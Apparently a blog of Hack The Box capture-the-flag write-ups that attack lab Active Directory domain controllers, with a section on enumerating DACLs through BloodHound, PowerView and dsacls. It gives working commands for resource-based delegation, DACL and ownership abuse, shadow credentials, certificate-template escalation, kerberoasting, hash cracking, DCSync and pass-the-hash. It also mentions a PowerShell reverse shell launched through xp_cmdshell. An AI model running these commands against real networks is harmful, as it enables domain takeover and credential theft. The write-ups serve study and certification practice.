impacket-rbcd support.htb/support:password -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'dc$' -action 'write'

1. Finally, we can request the request the S4U2Self and S4U2Proxy extensions with a single script. This will make a request to Kerberos for ATTACKERSYSTEM$ to get a S4U2Self extension as Administrator on itself, then it will request a S4U2Proxy extension on the target system as Administrator. Kerberos checks the msDS-AllowedToActOnBehalfOfOtherIdentity attribute and if the ATTACKERSYSTEM$ is there, which we did in step 2, it grants the TGS. impacket once again has a script for this, getST:

impacket-getST support.htb/ATTACKERSYSTEM$:Summer2018! -spn 'cifs/dc.support.htb' -impersonate -Administrator

I think its interesting to note here, the targeted SPN is for CIFS, Common Internet File System, which is the protocol Windows uses for file and printer sharing over a network (basically SMB). Why this leads to remote code execution is interesting: By requesting CIFS, it gives us access to the ADMIN$ share drive and it gives us access to named pipes. Impacket-PsExec copies a small executable psexecsvc.exe, to the computer then connects to the Service Control Manager (SCM) which gives RPC over SMB using named pipes. PsExec tells the SCM to create a service for psexecsvc.exe as SYSTEM, start it, and redirect all input and output to the named pipes created by psexecsbc.exe. This gives remote code execution over the machine while only having CIFS access. Very cool, also terrifying.

The ticket can be used for Kerberos authentication, then we can use impacket-psexec and authenticate using our Kerberos ticket to get remote access as SYSTEM.

Lessons Learned

I learned a ton from this box, I was really feel confident after doing a lot of HTB Academy modules and this box put me in my place. It shows me that I need to have a hard focus on understanding what tools provide what information, and what information actually exists. My focus will continue to be on using various tool and methods to accomplish tasks. I need to focus more on being stealthy, most of the programs I'm transferring to the host have no changes done at all and would be picked up by a modern antivirus instantly. I also want to focus on understanding what types of enumerations get detected by IDS/IPS systems. I'll be setting up a lab that will have an IDS system and running traffic through there to see what kinds of things get detected across the network. Lastly, I am not much of a coder, but understanding software even at a basic level would have gotten me further without having to look up the guided mode. I want to write more scripts and do more reverse engineer.

Extended DACL

My goal with this section for me is to find “the smoking gun” in the DACL list for three separate tools: BloodHound, PowerView, and dsacls. When I say “smoking gun”, I mean a line of output that tells me this is the path to privilege escalation. I hope to do more of these as I do more writeups.

BloodHound

For BloodHound, its very simple. BloodHound collects so much data and organizes it in such a way that it is easy to immediately recognize the opportunity. Not only is it easy to recognize, the program tells you exactly how to abuse it. The sidebar of the program even tells you that you can abuse this to conduct a Resource-Based Constrained Delegation attack. This is our “smoking gun” for BloodHound and it is very simple.

In the screenshot below, we can see support is a user we have “owned”, so we have full control over. support is a member of Shared Support Accounts, which has GenericAll over the DC.support.htb computer object. This means that support inherits those permissions from the group and has GenericAll over the object.

PowerView

PowerView is a PowerShell tool that is power of PowerSploit that focuses on penetration testing. For what we're doing here, we're using the Get-ObjectAcl cmdlet to enumerate DACL on an object.

The information is a bit harder to parse because we're collecting significantly less of it and its not really organized in a specific way unless we use a lot of the filters available. We can identify the “smoking gun” in this case by seeing that GenericAll is granted to a ObjectSID that matches the SID of our Shared Support Accounts group.

The command used to generate this output was:

Get-ObjectAcl -Identity "CN=DC,OU=DOMAIN CONTROLLERS,DC=SUPPORT,DC=HTB" -ResolveGUIDs -RightsFilter "All"

Keep in mind, this section is a part of four that are returned, I thought the -ResolveGUIDs would resolve the SIDs but it doesn't seem to. I checked the SID of the group Shared Support Accounts, and it matches the SID in the SecurityIdentifier field. The documents for the program can be found here.

dsacls

dsacls is a built-in command line tool for viewing and changing permissions and security attributes of Active Directory objects. To use dsacls, the user must have read permissions on Active Directory objects, and to write the user must have write permissions to the Active Directory objects. The tool is relatively simple to use and is quite powerful, I'll be attempting to use this as my primary means of enumerating DACL once I've gotten access.

The command produces a lot of information and its not as easy to parse because its not an object like PowerView's, so if you have a lot of data to sift through it will take a long time until you can script it.

The command used to produce the output below is, I've marked it as cmd since it will work in cmd as well as PowerShell:

dsacls.exe "CN=DC,OU=Domain Controllers,DC=SUPPORT,DC=HTB"

Thanks for reading, hope you learned something.

This box was done in two parts, one before the holiday break, and the other after the holiday break. I may not have as many screenshots as I would like and it may be more fragmented than others but hopefully it has enough information to provide a clear indication of my thought process.

Contents

• Tools Used
• nmap scan
• Initial Enumeration
  • Unprotected SMB Shares
  • BloodHound
  • Certipy
• Lateral Movement
• Privilege Escalation
• Lessons Learned

Tools Used

nmap – Network mapping tool, used to enumerate a device. BloodHound – An application that ingests collector data to provide a view of the relationships between different AD users and accounts. enum4linux-ng – A tool for enumerating Windows computers through LDAP and RPC queries. net – Part of the samba suite, tools for interacting with the SMB Windows protocol. evil-winrm – A shell to interact with the WinRM protocol originally, but now works with PSRP, the PowerShell equivalent. impacket – A collection of tools, although I specifically used mssqlclient, owneredit, and dacledit, which allows you to maliciously interact with a Windows system. BloodHound.py – A collector for BloodHound that is written in Python and can be run remotely. It is worth noting that this collector cannot enumerate GPO local groups. Certipy – A multi-function tool for attacking Windows AD environments. It can be used for shadow attacks, attacking weak certificate templates, and can act as an NTLM relay. LaZagne – A password scraper that is run locally, although it didn't work for me for some reason I'll continue to try this. This program works on both Linux and Windows systems. Snaffler – A password scraper that is run local, only on Windows. I did not get this to work correctly but I'll try again in the future.

nmap scan

The nmap scan has the usual ports open for a Windows AD box: Kerberos, MSRPC, LDAP, etc. I see the hostname of the box is DC01.sequel.htb, so based on the naming convention its a good guess that this is a domain controller. The one unusual port that is on and listening is TCP port 1433 with Microsoft SQL Server 2019. I could have poked and prodded this SQL server a bit to see if maybe guest accounts were enabled, and in the future I likely will, but instead I went directly to mapping SMB shares using smbclient with the provided credentials and using enum4linux to enumerate the domain a bit.

Initial Enumeration

For the initial enumeration, I see there are two unprotected SMB shares that the breached user rose has access to named Users which directs us to what seems like the Public user profile on the box, and Accounting Department, which contains a few Excel documents. The data from enum4linux shows several user accounts on the box, including some seemingly service accounts such as sql_svc and ca_svc. The ca_svc account indicates to me that this box is likely also a Certificate Authority and may have templates worth enumerating, which I do with Certipy. I run the python BloodHound.py collector against the box to enumerate the AD DACL. I'll go over each tool and what important information they provided.

Unprotected SMB Shares

In the Accounting Department share, we find Excel documents, one of them contains credentials for some users in the Accounting department and a SQL admin password.

I tried logging in as the oscar user, who has a domain account unlike the other accounting users, but does not have remote logon capability. oscar is a member of the Accounting Department AD group but I cannot figure out if that group has any different access, maybe it is what allows the account to remotely connect to the MSSQL server? I'll show more about what we can do with the credentials after showing some of the other enumeration steps.

BloodHound

I ran the collector to enumerate the AD DACL, and found what seemed like an attack path. By seeing the relationships between user accounts and groups I can see that the ryan user has WriteOwner over ca_svc, which is likely a privileged service account of some type. This makes getting credentials to the ryan user my goal for privilege escalation. I also see what I mentioned above, oscar is a member of Accounting Department, but what that entails I do not know.

Certipy

Since the box is a Certificate Authority, it has certificate templates that machines or users can enroll in to obtain certificates. We can escalate privileges using these certificate templates by looking for misconfigured or weak templates. I used Certipy to enumerate the templates. Although I did not take any screenshots of this (sorry), I observed that the non-default template DunderMifflinAuthentication was marked as vulnerable to ESC4. This is because the template allows full control permissions for a specific group, Cert Publishers in this case, which ca_svc is a member of. Additionally, the ryan user has WriteOwner permissions over ca_svc.

Do you see the escalation path? If we can move laterally to ryan, we have a full path to privilege escalation. Unfortunately, I do not have any screenshots of the Certipy output as the rose user, but you will see the output below when we go over the privilege escalation.

Lateral Movement

With my goal clearly identified, obtaining control over the ryan user account, I begin looking at what can be done. We have more to enumerate through the MSSQL database. I begin enumerating that and looking for password hashes that can be cracked. I interact with the MSSQL database through the impacket-mssqlclient program, which make enumeration easy. Unfortunately the database is bare and does not contain any helpful information; however, when logging in as the default sa account with the password pulled from the Accounting Department documents, I can get remote code execution through xp_cmdshell, which spawns a cmd shell and executes any commands you pass it as the SQL Server service account.

With remote code execution, my next goal is to get remote access to the system. I use Reverse Shell Generator to generate a base64 encoded powershell string which I pass in the xp_cmdshell command and get remote access as the sql_svc user account.

At this point I got stuck looking for passwords or access to the ryan account, I dug around a lot and used password scrapers like LaZagne.exe and Snaffler.exe to try to find the password. Nothing was turning up, and I'm convinced I was using these tools incorrectly, because based on where I did find the password, it seemed very easy for a script to find it. I'll work on using these tools more in the future, because manually enumerating a file system looking at every line of text will quickly drive someone mad.

At this point I go on winter break and don't come back to the box for another three weeks. With a fresh perspective I begin digging again and locate a configuration file for the MSSQL database that contains a password for the sql_svc account. Thinking I have nothing else to do with this password, I password spray this across all of the accounts, and wouldn't you know it, its the password to the ryan account. I confirm I have remote access as ryan and begin the process of privilege escalation.

Privilege Escalation

I have a clear attack path in mind from here: use the ryan account to change the owner of the ca_svc account and give full control to ryan, with the ca_svc account (a member of Cert Publishers), we can make changes to the DunderMifflinAuthentication certificate template to make it compatible with the ESC1 privilege escalation where we provide the username and SID we want a certificate for, then fudge the request to make the certificate for administrator, authenticate as the administrator account with the certificate, and finally get the NTLM hash that allows authentication as administrator.

I start this process by abusing the WriteOwner permission in the AD DACL, I set ryan as the owner of ca_svc using impacket-owneredit, then give ryan full control over the ca_svc account using impacket-dacledit. At this point I try to change the password on the ca_svc account using net rpc, but it seems like the box has a script that is constantly resetting the passwor and the DACL back to the original settings, so it caused problems during the whole process. Instead of changing the password, I do a shadow credential attack against the ca_svc account, using Certipy for this (what a great tool), that gives me the NTLM hash of the ca_svc account, so I can authenticate as this account without the DACL or password having to be constantly changed.

The commands I ran quickly to get the NTLM hash were:

impacket-owneredit -action write -new-owner 'ryan' -target-dn LOTSOFDATA 'sequel.htb'/ryan:password -dc-ip 10.129.232.128

impacket-dacledit -action write -rights 'FullControl' -principal 'ryan' -target 'ca_svc' 'sequel.htb'/ryan:password

certipy shadow auto -account 'ca_svc' -dc-ip 10.129.232.128 -u 'ryan' -p 'password'

The LOTSOFDATA section here is the domain information you get from the Certipy enumeration.

With the NTLM of the ca_svc account, I use Certipy again to enumerate the templates. Here Certipy tells me the DunderMifflinAuthentication template is weak because the user has dangerous permissions over the template.

Now to modify the template, Certipy has a default configuration we can use that makes it vulnerable to ESC1, so we do that.

certipy template -u 'ca_svc' -hashes nthash -dc-ip 10.129.232.128 -template 'DunderMifflinAuthentication' -write-default-configuration

This also saves a copy of the original template so that after you escalate privileges, you can revert the changes to cover your tracks.

Here is the template with the changes made, where it notates now that it is vulnerable to ESC1:

It is worth noting here, that all of these values are being reset every five or ten minutes, so you have to move with some speed otherwise it might overwrite back to the original settings. I do not know if that is true for the template, but it certain is for the user accounts.

I make the certificate request as ryan and supply the username and SID of the user I wish to get the certificate for, administrator in this case.

certipy req -u 'ryan' -p 'password' -dc-ip 10.129.232.128 -target 'dc01.sequel.htb' -ca 'sequel-DC01-CA' -template 'DunderMifflinAuthentication' -upn 'administrator@sequel.htb' -sid 'admin sid'

certipy auth -pfx 'administrator.pfx' -dc-ip 10.129.232.128

After I request the certificate, I get a .pfx file that contains the certificate for the administrator user. I use Certipy again to authenticate as that user and get the NTLM hash that allows me to remotely authenticate as administrator and grab the flag.

Lessons Learned

My biggest takeaways from this box are that I need to be better at scraping/spidering these filesystems for relevant files. I'm clearly using Snaffler and LaZagne incorrectly, as the file that had the password I needed literally has the line “Password: blahblah”, which should be the first thing anything should match on. I also want to stop relying on BloodHound so much, the collectors are incredibly “noisy” programs, so any modern IDS system would recognize what is happening. Native PowerShell allows enumeration of DACL, so on the next AD box I do, I'll be going really in-depth into enumerating using just PowerShell, and having BloodHound data on the side to compare and contrast. I believe the base64 PowerShell reverse shell is also easy to spot, so I want to look at encrypted reverse shells soon without having to use Meterpreter because its not allowed on the OSCP.

Contents

• Tools Used
• nmap scan
• Initial Enumeration
• Lateral Movement
• Hashcat Shines
• Privilege Escalation
• Lessons Learned

Tools Used

nmap – Network mapping tool, used to enumerate a device. pwsafe – Open source password manager Bloodhound – A web application for mapping relationships within systems, specifically Windows AD for us. enum4linux-ng – A tool for enumerating Windows computers. SharpHound – A collector for Bloodhound, used to generate data for mapping Windows AD. net – Part of the samba suite, tools for interacting with the SMB Windows protocol. evil-winrm – A shell to interact with the WinRM protocol originally, but now works with PSRP, the PowerShell equivalent. impacket – A collection of tools, although I specifically used crackmapexec and secretsdump, which helped maliciously interact with a Windows system. hashcat – A tool for cracking hashes to recover passwords or other valuable data.

nmap scan

For this box I am provided credentials of a low privilege user.

I start with scanning the ports with nmap to begin enumerating the box. The nmap scan shows a Windows box with multiple ports listening, as well as leaking the domain administrator.htb. Noting here that we also see FTP is listening as well, although for some reason I completely miss this when reviewing the list several times.

Initial Enumeration

I run enum4linux-ng first, to enumerate users, groups, password settings, FQDN. One thing that it enumerates is that domain lockout is active, so I cannot bruteforce an account (nor do I want to).

I enumerate SMB shares using crackmapexec, which our unprivileged user only has read access to IPC$, NETLOGON, and SYSVOL. I check the scripts folder in SYSVOL, which is empty, then leave the rest alone for now.

The compromised account provided, olivia, has remote access, so I begin running winPEAS, and SharpHound. This is my first time running SharpHound, but its quite noisy in cybersecurity terms according to others, so I'm interested to see the difference between it and other collectors.

Lateral Movement

While winPEAS is still running, I review the SharpHound data and see that I can attempt to exploit DACL to gain access to other accounts. Bloodhound shows that the user olivia, has GenericAll over michael who has ForceChangePassword over benjamin. We can compromise these accounts and look for additional data.

We change the password for the michael account using the following command:

net rpc password michael 'Password123#' -U administrator.htb/olivia%ichliebedich -S 10.129.17.147

This allows me access to the michael user, who also has the same groups as olivia. I remote to the Domain Controller (DC) as michael, dig around, and find nothing. I use the same net rpc password command to change benjamin's password, which gives me the ability to authenticate as the account.

I check the SMB shares as benjamin, thinking that account will have different permissions, which it doesn't. The account has the same permissions as the others with regards to SMB, but benjamin does not have the group that allows remote access and instead has the Share Moderators group.

I got stuck here for a few hours and call it for the night, I was not really sure how to enumerate this group or figure out what permissions it has, and winPEAS shows no escalation paths from the bit I can see before it hangs. I know the Share Moderators group has something to do with shares, as the name implies, but I didn’t realize that FTP was listening until I finally stopped and referred to the module’s “Guided Mode”. The very first task asks, “What is the lowest TCP port listening on Administrator?”, which turned out to be FTP, something I somehow missed while reviewing the scan the first four times.

Hashcat Shines

Knowing that FTP is listening, I try logging in michael to test if the Share Moderators group is the one that allows access, and it turns out it is. Only benjamin is allowed to access the FTP, which has a Backup.psafe3 file.

I grab the file, not knowing anyone's password since I changed most of them for access, I immediately feed it to hashcat to crack it. I don't have a screenshot of the crack because it is done on a different PC with a dedicated GPU, but the Windows command was:

.\hashcat.exe -m 5200 .\Documents\Hashes\Administrator\Backup.psafe3 .\Wordlists\Rockastic12a -o .\Documents\Hashes\Administrator\backuppsafe3-password.txt

This runs for 3 minutes and finds the password tekieromucho.

Now having the password for Backup.psafe3; I install the program, load the database, and get the passwords for the emily, emma, and alexander accounts.

I review the SharpHound data and see that emily has a path to administrator through ethan, so owning the ethan account is my next goal.

I quickly evil-winrm to the computer as emily and grab the user.txt flag.

To compromise the ethan account, we can either attempt a kerberoast or a shadow credential attack. The passwords for these users have been massive strings of random letters and numbers, so I'm thinking shadow credential will be much easier.

Initially I attempted the attack with certipy shadow auto, but the DC does not allow authenticating with the pfx key objects, per this errors message KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type).

I also attempted breaking the pfx into public and private key to authenticate using evil-winrm, but that is also not allowed as it specifies that it requires a password.

I think knowing Windows services better could have saved me some time from attempting these once I found that certificate authentication does not seem to be allowed.

I go to the backup plan of kerberoasting the ethan account, using targetedkeberoast.py I get the Kerberos 5 TGS-REP hash and plug it into hashcat.

I don't have a screenshot of the hashcat running, but it finished in less than a second with the with the user's password being limpbizket. The hashcat command I ran was (shortening the paths for simplicity):

.\hashcat.exe -m 13100 ..\ethan.kerbhash ..\Wordlists\Rocktastic12a

Privilege Escalation

Having the ethan account's password, we can proceed with privilege escalation. Referring back to Bloodhound, I see that the ethan account has several outbound object controls over the DC, including DCSync, I review the DCSync hacktricks.wiki entry, which states that with the appropriate privileges, the ethan account can initiate the DCSync, having our attacker machine pose as a DC asking the administrator.heb DC to replicate information.

The impacket-secretsdump tool lets us seamlessly do this and we get the NTLM hashes for every user in the domain, in addition to other sensitive data.

We can use the NT hash for the administrator account to login and grab the flag. Note the command for evil-winrm here is:

evil-winrm -H [NTHASH] -u administrator -i 10.129.17.147

The full attack chain looks like this:

Olivia –> genericwrite change password –> michael –> forcechangepassword change password –> benjamin who is share moderator –> psafe3 vault with emily's password –> kerberoast ethan –> crack kerb hash –> ethan –> dcsync to get NT hash of admin –> administrator –> flag

Lessons Learned

Bloodhound did all of the heavy lifting on this, it entirely mapped out the DACL which was the key to moving between users. I need to learn how to enumerate this information without relying on noisy tools.

To see the difference between SharpHound and bloodhound.py, I deleted all the collected data from Bloodhound and ran another collector, this time bloodhound.py, which can be run remotely.

For the most part the data was the same; however, bloodhound.py states that it does not collect GPO local groups, so when we look at the ethan user again, we cannot identify the outbound object controls that allow the DCSync that got us the administrator NT hash. This is a big limitation and one I'll need to consider in the future. Both of these tools have multiple arguments you can provide them to only scan specific sections, so maybe running bloodhound.py initially, then running sharphound -localgpo or whatever the argument may be would be ideal to be as stealthy as possible. I'll also begin reading on how to collect this through LDAP queries to hopefully not have to rely on these noisy tools.